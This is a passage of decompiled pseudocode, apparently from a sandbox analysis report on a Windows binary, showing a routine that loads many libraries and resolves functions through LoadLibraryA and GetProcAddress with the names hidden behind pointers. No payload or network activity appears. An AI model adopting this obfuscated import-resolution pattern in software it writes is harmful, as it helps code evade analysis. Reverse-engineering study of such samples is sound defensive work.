				_Unknown_base(*)()* _t244;
				struct HINSTANCE__* _t245;
				_Unknown_base(*)()* _t246;
				_Unknown_base(*)()* _t247;
				CHAR* _t248;
				_Unknown_base(*)()* _t249;
				struct HINSTANCE__* _t250;
				CHAR* _t252;
				CHAR* _t253;
				CHAR* _t254;
				CHAR* _t255;
				struct HINSTANCE__* _t256;
				CHAR* _t257;
				struct HINSTANCE__* _t258;
				CHAR* _t259;
				struct HINSTANCE__* _t260;
				CHAR* _t261;
				CHAR* _t262;
				CHAR* _t263;
				struct HINSTANCE__* _t264;
				CHAR* _t265;
				CHAR* _t266;
				CHAR* _t267;
				CHAR* _t268;
				CHAR* _t269;
				CHAR* _t270;
				CHAR* _t271;
				struct HINSTANCE__* _t272;
				CHAR* _t273;
				struct HINSTANCE__* _t274;
				CHAR* _t275;
				struct HINSTANCE__* _t276;
				CHAR* _t277;
				CHAR* _t278;
				struct HINSTANCE__* _t279;
				struct HINSTANCE__* _t280;
				CHAR* _t281;
				struct HINSTANCE__* _t282;
				CHAR* _t283;
				CHAR* _t284;
				CHAR* _t285;
				struct HINSTANCE__* _t286;
				CHAR* _t287;
				struct HINSTANCE__* _t288;
				CHAR* _t289;
				struct HINSTANCE__* _t290;
				CHAR* _t291;
				struct HINSTANCE__* _t292;
				CHAR* _t293;
				CHAR* _t294;
				struct HINSTANCE__* _t295;
				CHAR* _t296;
				struct HINSTANCE__* _t297;
				CHAR* _t298;
				struct HINSTANCE__* _t299;
				CHAR* _t300;
				struct HINSTANCE__* _t301;
				CHAR* _t302;
				CHAR* _t303;
				CHAR* _t304;
				CHAR* _t305;
				CHAR* _t306;
				struct HINSTANCE__* _t307;
				CHAR* _t308;
				CHAR* _t309;
				CHAR* _t310;
				struct HINSTANCE__* _t311;
				CHAR* _t312;
				struct HINSTANCE__* _t313;
				CHAR* _t314;
				struct HINSTANCE__* _t315;
				CHAR* _t316;
				struct HINSTANCE__* _t317;
				CHAR* _t318;
				struct HINSTANCE__* _t319;
				CHAR* _t320;
				struct HINSTANCE__* _t321;
				CHAR* _t322;
				struct HINSTANCE__* _t323;
				CHAR* _t324;
				struct HINSTANCE__* _t325;
				CHAR* _t326;
				struct HINSTANCE__* _t327;
				CHAR* _t328;
				struct HINSTANCE__* _t329;
				CHAR* _t330;
				struct HINSTANCE__* _t331;
				CHAR* _t332;
				struct HINSTANCE__* _t333;
				CHAR* _t334;
				struct HINSTANCE__* _t335;
				CHAR* _t336;
				struct HINSTANCE__* _t337;
				CHAR* _t338;
				struct HINSTANCE__* _t339;
				CHAR* _t340;
				struct HINSTANCE__* _t341;
				CHAR* _t342;
				struct HINSTANCE__* _t343;
				CHAR* _t344;
				struct HINSTANCE__* _t345;
				CHAR* _t346;
				struct HINSTANCE__* _t347;
				CHAR* _t348;
				CHAR* _t349;
				CHAR* _t350;
				CHAR* _t351;
				CHAR* _t352;
				CHAR* _t353;
				struct HINSTANCE__* _t354;
				CHAR* _t355;
				struct HINSTANCE__* _t356;
				CHAR* _t357;
				struct HINSTANCE__* _t358;
				CHAR* _t359;
				struct HINSTANCE__* _t360;
				CHAR* _t361;
				struct HINSTANCE__* _t362;
				CHAR* _t363;
				struct HINSTANCE__* _t364;
				CHAR* _t365;
				struct HINSTANCE__* _t366;
				CHAR* _t367;
				struct HINSTANCE__* _t368;
				CHAR* _t369;
				struct HINSTANCE__* _t370;
				CHAR* _t371;
				CHAR* _t372;
				struct HINSTANCE__* _t373;
				CHAR* _t374;
				CHAR* _t375;
				CHAR* _t376;
				struct HINSTANCE__* _t377;
				CHAR* _t378;
				struct HINSTANCE__* _t379;
				CHAR* _t380;
				struct HINSTANCE__* _t381;
				CHAR* _t382;
				struct HINSTANCE__* _t383;
				CHAR* _t384;
				struct HINSTANCE__* _t385;
				CHAR* _t386;
				struct HINSTANCE__* _t387;
				CHAR* _t388;
				struct HINSTANCE__* _t389;
				CHAR* _t390;
				struct HINSTANCE__* _t391;
				CHAR* _t392;
				struct HINSTANCE__* _t393;
				CHAR* _t394;
				struct HINSTANCE__* _t395;
				CHAR* _t396;
				struct HINSTANCE__* _t397;
				CHAR* _t398;
				struct HINSTANCE__* _t399;
				CHAR* _t400;
				struct HINSTANCE__* _t401;
				CHAR* _t402;
				struct HINSTANCE__* _t403;
				CHAR* _t404;
				struct HINSTANCE__* _t405;
				CHAR* _t406;
				struct HINSTANCE__* _t407;
				CHAR* _t408;
				struct HINSTANCE__* _t409;
				CHAR* _t410;
				struct HINSTANCE__* _t411;
				CHAR* _t412;
				struct HINSTANCE__* _t413;
				CHAR* _t414;
				struct HINSTANCE__* _t415;
				CHAR* _t416;
				struct HINSTANCE__* _t417;
				CHAR* _t418;
				struct HINSTANCE__* _t419;
				CHAR* _t420;
				struct HINSTANCE__* _t421;
				CHAR* _t422;
				struct HINSTANCE__* _t423;
				CHAR* _t424;
				struct HINSTANCE__* _t425;
				CHAR* _t426;
				struct HINSTANCE__* _t427;
				CHAR* _t428;
				struct HINSTANCE__* _t429;
				CHAR* _t430;
				struct HINSTANCE__* _t431;
				CHAR* _t432;
				struct HINSTANCE__* _t433;
				CHAR* _t434;
				struct HINSTANCE__* _t435;
				CHAR* _t436;
				struct HINSTANCE__* _t437;
				CHAR* _t438;
				struct HINSTANCE__* _t439;
				CHAR* _t440;
				struct HINSTANCE__* _t441;
				CHAR* _t442;

				_t1 =  *0x45352c; // 0x74640000
				if(_t1 != 0) {
					_t309 =  *0x452a34; // 0x509b908
					_t154 = GetProcAddress(_t1, _t309);
					_t404 =  *0x452a40; // 0x509b7f8
					 *0x453518 = _t154;
					_t155 =  *0x45352c; // 0x74640000
					_t156 = GetProcAddress(_t155, _t404);
					_t310 =  *0x452acc; // 0x509b980
					_t405 =  *0x45352c; // 0x74640000
					 *0x453598 = _t156;
					_t157 = GetProcAddress(_t405, _t310);
					_t311 =  *0x45352c; // 0x74640000
					 *0x453500 = _t157;
					_t158 =  *0x453070; // 0x5098f20
					_t159 = GetProcAddress(_t311, _t158);
					_t406 =  *0x4530ec; // 0x509ba70
					 *0x4533d4 = _t159;
					_t160 =  *0x45352c; // 0x74640000
					_t161 = GetProcAddress(_t160, _t406);
					_t312 =  *0x452e4c; // 0x509b638
					_t407 =  *0x45352c; // 0x74640000
					 *0x4533cc = _t161;
					_t162 = GetProcAddress(_t407, _t312);
					_t313 =  *0x45352c; // 0x74640000
					 *0x453478 = _t162;
					_t163 =  *0x452abc; // 0x509bba8
					_t164 = GetProcAddress(_t313, _t163);
					_t408 =  *0x452d38; // 0x509bb60
					 *0x453588 = _t164;
					_t165 =  *0x45352c; // 0x74640000
					_t166 = GetProcAddress(_t165, _t408);
					_t314 =  *0x453188; // 0x509bb78
					_t409 =  *0x45352c; // 0x74640000
					 *0x4534c4 = _t166;
					_t167 = GetProcAddress(_t409, _t314);
					_t315 =  *0x45352c; // 0x74640000
					 *0x45353c = _t167;
					_t168 =  *0x4530fc; // 0x509bb90
					_t169 = GetProcAddress(_t315, _t168);
					_t410 =  *0x4530d4; // 0x509bbc0
					 *0x453374 = _t169;
					_t170 =  *0x45352c; // 0x74640000
					_t171 = GetProcAddress(_t170, _t410);
					_t316 =  *0x453268; // 0x509bbd8
					_t411 =  *0x45352c; // 0x74640000
					 *0x453550 = _t171;
					_t172 = GetProcAddress(_t411, _t316);
					_t317 =  *0x45352c; // 0x74640000
					 *0x45349c = _t172;
					_t173 =  *0x452c88; // 0x509bbf0
					_t174 = GetProcAddress(_t317, _t173);
					_t412 =  *0x452f6c; // 0x509b4b8
					 *0x453378 = _t174;
					_t175 =  *0x45352c; // 0x74640000
					_t176 = GetProcAddress(_t175, _t412);
					_t318 =  *0x452f08; // 0x509bc20
					_t413 =  *0x45352c; // 0x74640000
					 *0x453474 = _t176;
					_t177 = GetProcAddress(_t413, _t318);
					_t319 =  *0x45352c; // 0x74640000
					 *0x4533d8 = _t177;
					_t178 =  *0x452f94; // 0x509bc08
					_t179 = GetProcAddress(_t319, _t178);
					_t414 =  *0x452a30; // 0x509c5a8
					 *0x4533b8 = _t179;
					_t180 =  *0x45352c; // 0x74640000
					_t181 = GetProcAddress(_t180, _t414);
					_t320 =  *0x45313c; // 0x509b778
					_t415 =  *0x45352c; // 0x74640000
					 *0x45358c = _t181;
					_t182 = GetProcAddress(_t415, _t320);
					_t321 =  *0x45352c; // 0x74640000
					 *0x453354 = _t182;
					_t183 =  *0x452f80; // 0x509c650
					_t184 = GetProcAddress(_t321, _t183);
					_t416 =  *0x453038; // 0x509c680
					 *0x4535a0 = _t184;
					_t185 =  *0x45352c; // 0x74640000
					_t186 = GetProcAddress(_t185, _t416);
					_t322 =  *0x452c84; // 0x509c620
					_t417 =  *0x45352c; // 0x74640000
					 *0x4533f8 = _t186;
					_t187 = GetProcAddress(_t417, _t322);
					_t323 =  *0x45352c; // 0x74640000
					 *0x453368 = _t187;
					_t188 =  *0x452f10; // 0x509c470
					_t189 = GetProcAddress(_t323, _t188);
					_t418 =  *0x452de4; // 0x509c530
					 *0x4534a8 = _t189;
					_t190 =  *0x45352c; // 0x74640000
					_t191 = GetProcAddress(_t190, _t418);
					_t324 =  *0x452af4; // 0x509c698
					_t419 =  *0x45352c; // 0x74640000
					 *0x453458 = _t191;
					_t192 = GetProcAddress(_t419, _t324);
					_t325 =  *0x45352c; // 0x74640000
					 *0x45338c = _t192;
					_t193 =  *0x452bb8; // 0x509c5f0
					_t194 = GetProcAddress(_t325, _t193);
					_t420 =  *0x452d90; // 0x509c5d8
					 *0x453320 = _t194;
					_t195 =  *0x45352c; // 0x74640000
					_t196 = GetProcAddress(_t195, _t420);
					_t326 =  *0x452eac; // 0x509c608
					_t421 =  *0x45352c; // 0x74640000
					 *0x45359c = _t196;
					 *0x4533ac = GetProcAddress(_t421, _t326);
					_t198 =  *0x452bdc; // 0x509b798
					_t327 =  *0x45352c; // 0x74640000
					_t199 = GetProcAddress(_t327, _t198);
					_t422 =  *0x452eec; // 0x509c638
					 *0x453454 = _t199;
					_t200 =  *0x45352c; // 0x74640000
					_t201 = GetProcAddress(_t200, _t422);
					_t328 =  *0x452fc4; // 0x509c6b0
					_t423 =  *0x45352c; // 0x74640000
					 *0x4534d0 = _t201;
					_t202 = GetProcAddress(_t423, _t328);
					_t329 =  *0x45352c; // 0x74640000
					 *0x45332c = _t202;
					_t203 =  *0x453248; // 0x509b598
					_t204 = GetProcAddress(_t329, _t203);
					_t424 =  *0x453018; // 0x5098e30
					 *0x453570 = _t204;
					_t205 =  *0x45352c; // 0x74640000
					_t206 = GetProcAddress(_t205, _t424);
					_t330 =  *0x452dd0; // 0x509c6c8
					_t425 =  *0x45352c; // 0x74640000
					 *0x453590 = _t206;
					_t207 = GetProcAddress(_t425, _t330);
					_t331 =  *0x45352c; // 0x74640000
					 *0x453388 = _t207;
					_t208 =  *0x452a3c; // 0x509c668
					_t209 = GetProcAddress(_t331, _t208);
					_t426 =  *0x452e44; // 0x509b458
					 *0x4533e4 = _t209;
					_t210 =  *0x45352c; // 0x74640000
					_t211 = GetProcAddress(_t210, _t426);
					_t332 =  *0x452f5c; // 0x509c4e8
					_t427 =  *0x45352c; // 0x74640000
					 *0x453358 = _t211;
					_t212 = GetProcAddress(_t427, _t332);
					_t333 =  *0x45352c; // 0x74640000
					 *0x453390 = _t212;
					_t213 =  *0x452b60; // 0x509c4a0
					_t214 = GetProcAddress(_t333, _t213);
					_t428 =  *0x452ce4; // 0x509b5b8
					 *0x453568 = _t214;
					_t215 =  *0x45352c; // 0x74640000
					_t216 = GetProcAddress(_t215, _t428);
					_t334 =  *0x452c20; // 0x509c488
					_t429 =  *0x45352c; // 0x74640000
					 *0x453484 = _t216;
					_t217 = GetProcAddress(_t429, _t334);
					_t335 =  *0x45352c; // 0x74640000
					 *0x453468 = _t217;
					_t218 =  *0x4530e8; // 0x509c6e0
					_t219 = GetProcAddress(_t335, _t218);
					_t430 =  *0x453040; // 0x509c4b8
					 *0x45351c = _t219;
					_t220 =  *0x45352c; // 0x74640000
					_t221 = GetProcAddress(_t220, _t430);
					_t336 =  *0x452b90; // 0x509b558
					_t431 =  *0x45352c; // 0x74640000
					 *0x4533e0 = _t221;
					_t222 = GetProcAddress(_t431, _t336);
					_t337 =  *0x45352c; // 0x74640000
					 *0x453430 = _t222;
					_t223 =  *0x452ab8; // 0x509b658
					_t224 = GetProcAddress(_t337, _t223);
					_t432 =  *0x452a1c; // 0x509b5f8
					 *0x453324 = _t224;
					_t225 =  *0x45352c; // 0x74640000
					_t226 = GetProcAddress(_t225, _t432);
					_t338 =  *0x452e70; // 0x509c6f8
					_t433 =  *0x45352c; // 0x74640000
					 *0x4534f0 = _t226;
					_t227 = GetProcAddress(_t433, _t338);
					_t339 =  *0x45352c; // 0x74640000
					 *0x4534dc = _t227;
					_t228 =  *0x452e68; // 0x509c710
					_t229 = GetProcAddress(_t339, _t228);
					_t434 =  *0x452a20; // 0x509b7b8
					 *0x453498 = _t229;
					_t230 =  *0x45352c; // 0x74640000
					_t231 = GetProcAddress(_t230, _t434);
					_t340 =  *0x452b20; // 0x509b478
					_t435 =  *0x45352c; // 0x74640000
					 *0x453574 = _t231;
					_t232 = GetProcAddress(_t435, _t340);
					_t341 =  *0x45352c; // 0x74640000
					 *0x453364 = _t232;
					_t233 =  *0x452b7c; // 0x5098e80
					_t234 = GetProcAddress(_t341, _t233);
					_t436 =  *0x453160; // 0x509b4d8
					 *0x453470 = _t234;
					_t235 =  *0x45352c; // 0x74640000
					_t236 = GetProcAddress(_t235, _t436);
					_t342 =  *0x4530a8; // 0x509b4f8
					_t437 =  *0x45352c; // 0x74640000
					 *0x4533b0 = _t236;
					_t237 = GetProcAddress(_t437, _t342);
					_t343 =  *0x45352c; // 0x74640000
					 *0x45336c = _t237;
					_t238 =  *0x4531c0; // 0x509c728
					_t239 = GetProcAddress(_t343, _t238);
					_t438 =  *0x453288; // 0x509c758
					 *0x45354c = _t239;
					_t240 =  *0x45352c; // 0x74640000
					_t241 = GetProcAddress(_t240, _t438);
					_t344 =  *0x452ca4; // 0x509c500
					_t439 =  *0x45352c; // 0x74640000
					 *0x453340 = _t241;
					 *0x4534c8 = GetProcAddress(_t439, _t344);
					_t243 =  *0x452e34; // 0x5098e58
					_t345 =  *0x45352c; // 0x74640000
					_t244 = GetProcAddress(_t345, _t243);
					_t440 =  *0x452b24; // 0x509c740
					 *0x453524 = _t244;
					_t245 =  *0x45352c; // 0x74640000
					_t246 = GetProcAddress(_t245, _t440);
					_t346 =  *0x452ba0; // 0x509c4d0
					_t441 =  *0x45352c; // 0x74640000
					 *0x453394 = _t246;
					_t247 = GetProcAddress(_t441, _t346);
					_t347 =  *0x45352c; // 0x74640000
					 *0x45346c = _t247;
					_t248 =  *0x4530dc; // 0x509b578
					_t249 = GetProcAddress(_t347, _t248);
					_t442 =  *0x452e1c; // 0x509b538
					 *0x4533c4 = _t249;
					_t250 =  *0x45352c; // 0x74640000
					 *0x453314 = GetProcAddress(_t250, _t442);
				}
				_t252 =  *0x452d40; // 0x509add0
				_t2 = LoadLibraryA(_t252);
				_t348 =  *0x452bc4; // 0x509af38
				 *0x4534f4 = _t2; // executed
				_t3 = LoadLibraryA(_t348); // executed
				 *0x453400 = _t3;
				_t4 =  *0x452d08; // 0x509ae30
				_t5 = LoadLibraryA(_t4);
				_t253 =  *0x452af8; // 0x509af98
				 *0x4533a0 = _t5;
				_t6 = LoadLibraryA(_t253);
				_t349 =  *0x453168; // 0x509afe0
				 *0x453448 = _t6;
				 *0x45343c = LoadLibraryA(_t349);
				_t8 =  *0x452a80; // 0x509ac80
				_t9 = LoadLibraryA(_t8);
				_t254 =  *0x452c3c; // 0x509ad10
				 *0x453564 = _t9; // executed
				_t10 = LoadLibraryA(_t254);
				_t350 =  *0x452c1c; // 0x509c590
				 *0x453414 = _t10;
				 *0x453558 = LoadLibraryA(_t350);
				_t12 =  *0x453044; // 0x509c518
				_t13 = LoadLibraryA(_t12);
				_t255 =  *0x452f28; // 0x509c548
				 *0x45342c = _t13; // executed
				_t14 = LoadLibraryA(_t255);
				_t351 =  *0x452db8; // 0x509c560
				 *0x453548 = _t14; // executed
				_t15 = LoadLibraryA(_t351); // executed
				 *0x453404 = _t15;
				_t16 =  *0x4534f4; // 0x73e50000
				if(_t16 != 0) {
					_t305 =  *0x452adc; // 0x5098de0
					_t145 = GetProcAddress(_t16, _t305);
					_t400 =  *0x4531bc; // 0x50914e8
					 *0x453424 = _t145;
					_t146 =  *0x4534f4; // 0x73e50000
					_t147 = GetProcAddress(_t146, _t400);
					_t306 =  *0x452f74; // 0x5098ed0
					_t401 =  *0x4534f4; // 0x73e50000
					 *0x4534d8 = _t147;
					_t148 = GetProcAddress(_t401, _t306);
					_t307 =  *0x4534f4; // 0x73e50000
					 *0x4533d0 = _t148;
					_t149 =  *0x452d84; // 0x5091588
					_t150 = GetProcAddress(_t307, _t149);
					_t402 =  *0x452f8c; // 0x5099060
					 *0x4533a8 = _t150;
					_t151 =  *0x4534f4; // 0x73e50000
					_t152 = GetProcAddress(_t151, _t402);
					_t308 =  *0x452a94; // 0x509ae00
					_t403 =  *0x4534f4; // 0x73e50000
					 *0x453384 = _t152;
					 *0x453528 = GetProcAddress(_t403, _t308);
				}
				_t17 =  *0x453400; // 0x74860000
				if(_t17 != 0) {
					_t303 =  *0x452d74; // 0x5091508
					_t141 = GetProcAddress(_t17, _t303);
					_t398 =  *0x452b10; // 0x509b678
					 *0x4533e8 = _t141;
					_t142 =  *0x453400; // 0x74860000
					_t143 = GetProcAddress(_t142, _t398);
					_t304 =  *0x452aa0; // 0x5091548
					_t399 =  *0x453400; // 0x74860000
					 *0x45331c = _t143;
					 *0x4534a0 = GetProcAddress(_t399, _t304);
				}
				_t18 =  *0x453318; // 0x75e50000
				if(_t18 != 0) {
					_t293 =  *0x453150; // 0x509ad70
					_t117 = GetProcAddress(_t18, _t293);
					_t388 =  *0x452fa4; // 0x5091608
					 *0x453408 = _t117;
					_t118 =  *0x453318; // 0x75e50000
					_t119 = GetProcAddress(_t118, _t388);
					_t294 =  *0x452b80; // 0x509acf8
					_t389 =  *0x453318; // 0x75e50000
					 *0x4533ec = _t119;
					_t120 = GetProcAddress(_t389, _t294);
					_t295 =  *0x453318; // 0x75e50000
					 *0x453490 = _t120;
					_t121 =  *0x4531f4; // 0x509ae18
					_t122 = GetProcAddress(_t295, _t121);
					_t390 =  *0x452d64; // 0x509ad28
					 *0x45356c = _t122;
					_t123 =  *0x453318; // 0x75e50000
					_t124 = GetProcAddress(_t123, _t390);
					_t296 =  *0x452c28; // 0x509adb8
					_t391 =  *0x453318; // 0x75e50000
					 *0x453328 = _t124;
					_t125 = GetProcAddress(_t391, _t296);
					_t297 =  *0x453318; // 0x75e50000
					 *0x453534 = _t125;
					_t126 =  *0x453054; // 0x509ae90
					_t127 = GetProcAddress(_t297, _t126);
					_t392 =  *0x453024; // 0x5081800
					 *0x4533c8 = _t127;
					_t128 =  *0x453318; // 0x75e50000
					_t129 = GetProcAddress(_t128, _t392);
					_t298 =  *0x4531c8; // 0x5091528
					_t393 =  *0x453318; // 0x75e50000
					 *0x45340c = _t129;
					_t130 = GetProcAddress(_t393, _t298);
					_t299 =  *0x453318; // 0x75e50000
					 *0x453330 = _t130;
					_t131 =  *0x453284; // 0x509c578
					_t132 = GetProcAddress(_t299, _t131);
					_t394 =  *0x452fb4; // 0x509b518
					 *0x453580 = _t132;
					_t133 =  *0x453318; // 0x75e50000
					_t134 = GetProcAddress(_t133, _t394);
					_t300 =  *0x45309c; // 0x509b6b8
					_t395 =  *0x453318; // 0x75e50000
					 *0x453530 = _t134;
					_t135 = GetProcAddress(_t395, _t300);
					_t301 =  *0x453318; // 0x75e50000
					 *0x4533f0 = _t135;
					_t136 =  *0x452de0; // 0x509c5c0
					_t137 = GetProcAddress(_t301, _t136);
					_t396 =  *0x452c04; // 0x509c7d0
					 *0x45345c = _t137;
					_t138 =  *0x453318; // 0x75e50000
					_t139 = GetProcAddress(_t138, _t396);
					_t302 =  *0x453190; // 0x509c7b8
					_t397 =  *0x453318; // 0x75e50000
					 *0x453508 = _t139;
					 *0x453380 = GetProcAddress(_t397, _t302);
				}
				_t19 =  *0x4533a0; // 0x6f620000
				if(_t19 != 0) {
					_t284 =  *0x452c6c; // 0x50914c8
					_t96 = GetProcAddress(_t19, _t284);
					_t380 =  *0x452fe8; // 0x5091428
					 *0x453418 = _t96;
					_t97 =  *0x4533a0; // 0x6f620000
					_t98 = GetProcAddress(_t97, _t380);
					_t285 =  *0x452fd4; // 0x50913e8
					_t381 =  *0x4533a0; // 0x6f620000
					 *0x453440 = _t98;
					_t99 = GetProcAddress(_t381, _t285);
					_t286 =  *0x4533a0; // 0x6f620000
					 *0x4534fc = _t99;
					_t100 =  *0x452f98; // 0x50913a8
					_t101 = GetProcAddress(_t286, _t100);
					_t382 =  *0x452c7c; // 0x5091308
					 *0x45357c = _t101;
					_t102 =  *0x4533a0; // 0x6f620000
					_t103 = GetProcAddress(_t102, _t382);
					_t287 =  *0x452ee4; // 0x509ac98
					_t383 =  *0x4533a0; // 0x6f620000
					 *0x453538 = _t103;
					_t104 = GetProcAddress(_t383, _t287);
					_t288 =  *0x4533a0; // 0x6f620000
					 *0x45341c = _t104;
					_t105 =  *0x4531a8; // 0x50915c8
					_t106 = GetProcAddress(_t288, _t105);
					_t384 =  *0x452e10; // 0x509af20
					 *0x45334c = _t106;
					_t107 =  *0x4533a0; // 0x6f620000
					_t108 = GetProcAddress(_t107, _t384);
					_t289 =  *0x453238; // 0x5091628
					_t385 =  *0x4533a0; // 0x6f620000
					 *0x453594 = _t108;
					_t109 = GetProcAddress(_t385, _t289);
					_t290 =  *0x4533a0; // 0x6f620000
					 *0x453460 = _t109;
					_t110 =  *0x452c98; // 0x5091348
					_t111 = GetProcAddress(_t290, _t110);
					_t386 =  *0x452eb4; // 0x5091448
					 *0x453420 = _t111;
					_t112 =  *0x4533a0; // 0x6f620000
					_t113 = GetProcAddress(_t112, _t386);
					_t291 =  *0x453218; // 0x50915e8
					_t387 =  *0x4533a0; // 0x6f620000
					 *0x453310 = _t113;
					_t114 = GetProcAddress(_t387, _t291);
					_t292 =  *0x4533a0; // 0x6f620000
					 *0x4533fc = _t114;
					_t115 =  *0x4531a4; // 0x509b6d8
					 *0x4533bc = GetProcAddress(_t292, _t115);
				}
				_t20 =  *0x453448; // 0x75da0000
				if(_t20 != 0) {
					_t375 =  *0x452c94; // 0x5091648
					_t85 = GetProcAddress(_t20, _t375);
					_t280 =  *0x453448; // 0x75da0000
					 *0x45337c = _t85;
					_t86 =  *0x4530b0; // 0x509ae48
					_t87 = GetProcAddress(_t280, _t86);
					_t376 =  *0x452ce0; // 0x5098620
					 *0x45335c = _t87;
					_t88 =  *0x453448; // 0x75da0000
					_t89 = GetProcAddress(_t88, _t376);
					_t281 =  *0x453074; // 0x509ada0
					_t377 =  *0x453448; // 0x75da0000
					 *0x45333c = _t89;
					_t90 = GetProcAddress(_t377, _t281);
					_t282 =  *0x453448; // 0x75da0000
					 *0x4534f8 = _t90;
					_t91 =  *0x452f18; // 0x509aea8
					_t92 = GetProcAddress(_t282, _t91);
					_t378 =  *0x452bac; // 0x509acb0
					 *0x453494 = _t92;
					_t93 =  *0x453448; // 0x75da0000
					_t94 = GetProcAddress(_t93, _t378);
					_t283 =  *0x453250; // 0x5091388
					_t379 =  *0x453448; // 0x75da0000
					 *0x453428 = _t94;
					 *0x453410 = GetProcAddress(_t379, _t283);
				}
				_t21 =  *0x45343c; // 0x77af0000
				if(_t21 != 0) {
					_t277 =  *0x452f20; // 0x50912c8
					_t77 = GetProcAddress(_t21, _t277);
					_t372 =  *0x452d34; // 0x509ade8
					 *0x453398 = _t77;
					_t78 =  *0x45343c; // 0x77af0000
					_t79 = GetProcAddress(_t78, _t372);
					_t278 =  *0x453214; // 0x509c7a0
					_t373 =  *0x45343c; // 0x77af0000
					 *0x4534e8 = _t79;
					_t80 = GetProcAddress(_t373, _t278);
					_t279 =  *0x45343c; // 0x77af0000
					 *0x453504 = _t80;
					_t81 =  *0x452b68; // 0x509b098
					_t82 = GetProcAddress(_t279, _t81);
					_t374 =  *0x452e18; // 0x509b0b8
					 *0x45344c = _t82;
					_t83 =  *0x45343c; // 0x77af0000
					 *0x453348 = GetProcAddress(_t83, _t374);
				}
				_t22 =  *0x453564; // 0x76b30000
				if(_t22 != 0) {
					_t270 =  *0x4530a0; // 0x50914a8
					_t59 = GetProcAddress(_t22, _t270);
					_t365 =  *0x452e38; // 0x509ad40
					 *0x453338 = _t59;
					_t60 =  *0x453564; // 0x76b30000
					_t61 = GetProcAddress(_t60, _t365);
					_t271 =  *0x45308c; // 0x5091468
					_t366 =  *0x453564; // 0x76b30000
					 *0x4534e4 = _t61;
					_t62 = GetProcAddress(_t366, _t271);
					_t272 =  *0x453564; // 0x76b30000
					 *0x4534b0 = _t62;
					_t63 =  *0x4530e0; // 0x509ae60
					_t64 = GetProcAddress(_t272, _t63);
					_t367 =  *0x4530d8; // 0x50986b0
					 *0x453344 = _t64;
					_t65 =  *0x453564; // 0x76b30000
					_t66 = GetProcAddress(_t65, _t367);
					_t273 =  *0x452d30; // 0x509ae78
					_t368 =  *0x453564; // 0x76b30000
					 *0x453560 = _t66;
					_t67 = GetProcAddress(_t368, _t273);
					_t274 =  *0x453564; // 0x76b30000
					 *0x453334 = _t67;
					_t68 =  *0x452f88; // 0x5091488
					_t69 = GetProcAddress(_t274, _t68);
					_t369 =  *0x452cb4; // 0x50913c8
					 *0x4534bc = _t69;
					_t70 =  *0x453564; // 0x76b30000
					_t71 = GetProcAddress(_t70, _t369);
					_t275 =  *0x452da8; // 0x509c7e8
					_t370 =  *0x453564; // 0x76b30000
					 *0x453578 = _t71;
					_t72 = GetProcAddress(_t370, _t275);
					_t276 =  *0x453564; // 0x76b30000
					 *0x453584 = _t72;
					_t73 =  *0x452f48; // 0x509c830
					_t74 = GetProcAddress(_t276, _t73);
					_t371 =  *0x452db4; // 0x509c818
					 *0x453520 = _t74;
					_t75 =  *0x453564; // 0x76b30000
					 *0x453554 = GetProcAddress(_t75, _t371);
				}
				_t23 =  *0x453414; // 0x777e0000
				if(_t23 != 0) {
					_t268 =  *0x452dd8; // 0x509b718
					_t55 = GetProcAddress(_t23, _t268);
					_t363 =  *0x452fe4; // 0x509b7d8
					 *0x45350c = _t55;
					_t56 =  *0x453414; // 0x777e0000
					_t57 = GetProcAddress(_t56, _t363);
					_t269 =  *0x4530c0; // 0x509b618
					_t364 =  *0x453414; // 0x777e0000
					 *0x453370 = _t57;
					 *0x453464 = GetProcAddress(_t364, _t269);
				}
				_t24 =  *0x453558; // 0x74a50000
				if(_t24 != 0) {
					_t266 =  *0x452d9c; // 0x509c788
					_t51 = GetProcAddress(_t24, _t266);
					_t361 =  *0x452a84; // 0x509b178
					 *0x453544 = _t51;
					_t52 =  *0x453558; // 0x74a50000
					_t53 = GetProcAddress(_t52, _t361);
					_t267 =  *0x452c8c; // 0x509b298
					_t362 =  *0x453558; // 0x74a50000
					 *0x453438 = _t53;
					 *0x4534c0 = GetProcAddress(_t362, _t267);
				}
				_t25 =  *0x45342c; // 0x76620000
				if(_t25 != 0) {
					_t262 =  *0x452d78; // 0x509c770
					_t42 = GetProcAddress(_t25, _t262);
					_t357 =  *0x452ac4; // 0x509c800
					 *0x4535a4 = _t42;
					_t43 =  *0x45342c; // 0x76620000
					_t44 = GetProcAddress(_t43, _t357);
					_t263 =  *0x452b78; // 0x509ccf8
					_t358 =  *0x45342c; // 0x76620000
					 *0x4533dc = _t44;
					_t45 = GetProcAddress(_t358, _t263);
					_t264 =  *0x45342c; // 0x76620000
					 *0x453510 = _t45;
					_t46 =  *0x452c70; // 0x509cb90
					_t47 = GetProcAddress(_t264, _t46);
					_t359 =  *0x45312c; // 0x5098720
					 *0x4534a4 = _t47;
					_t48 =  *0x45342c; // 0x76620000
					_t49 = GetProcAddress(_t48, _t359);
					_t265 =  *0x453014; // 0x509b2b8
					_t360 =  *0x45342c; // 0x76620000
					 *0x453360 = _t49;
					 *0x45339c = GetProcAddress(_t360, _t265);
				}
				_t26 =  *0x453548; // 0x6ca90000
				if(_t26 != 0) {
					_t261 =  *0x452e9c; // 0x509cd10
					 *0x453450 = GetProcAddress(_t26, _t261);
				}
				_t27 =  *0x453404; // 0x73660000
				if(_t27 != 0) {
					_t352 =  *0x452e00; // 0x5098ea8
					_t28 = GetProcAddress(_t27, _t352);
					_t256 =  *0x453404; // 0x73660000
					 *0x4533a4 = _t28;
					_t29 =  *0x452cb8; // 0x509b118
					_t30 = GetProcAddress(_t256, _t29);
					_t353 =  *0x452d20; // 0x5098c28
					 *0x4533f4 = _t30;
					_t31 =  *0x453404; // 0x73660000
					_t32 = GetProcAddress(_t31, _t353);
					_t257 =  *0x452b38; // 0x509cd58
					_t354 =  *0x453404; // 0x73660000
					 *0x4534ac = _t32;
					_t33 = GetProcAddress(_t354, _t257);
					_t258 =  *0x453404; // 0x73660000
					 *0x4534ec = _t33;
					_t34 =  *0x452f50; // 0x509ce48
					_t35 = GetProcAddress(_t258, _t34);
					_t355 =  *0x453270; // 0x509b3d8
					 *0x4534cc = _t35;
					_t36 =  *0x453404; // 0x73660000
					_t37 = GetProcAddress(_t36, _t355);
					_t259 =  *0x452da4; // 0x509b158
					_t356 =  *0x453404; // 0x73660000
					 *0x453480 = _t37;
					_t38 = GetProcAddress(_t356, _t259);
					_t260 =  *0x453404; // 0x73660000
					 *0x4533c0 = _t38;
					_t39 =  *0x453264; // 0x509ccb0
					_t40 = GetProcAddress(_t260, _t39);
					 *0x453540 = _t40;
					return _t40;
				}
				return _t27;
			}

0x00423f60
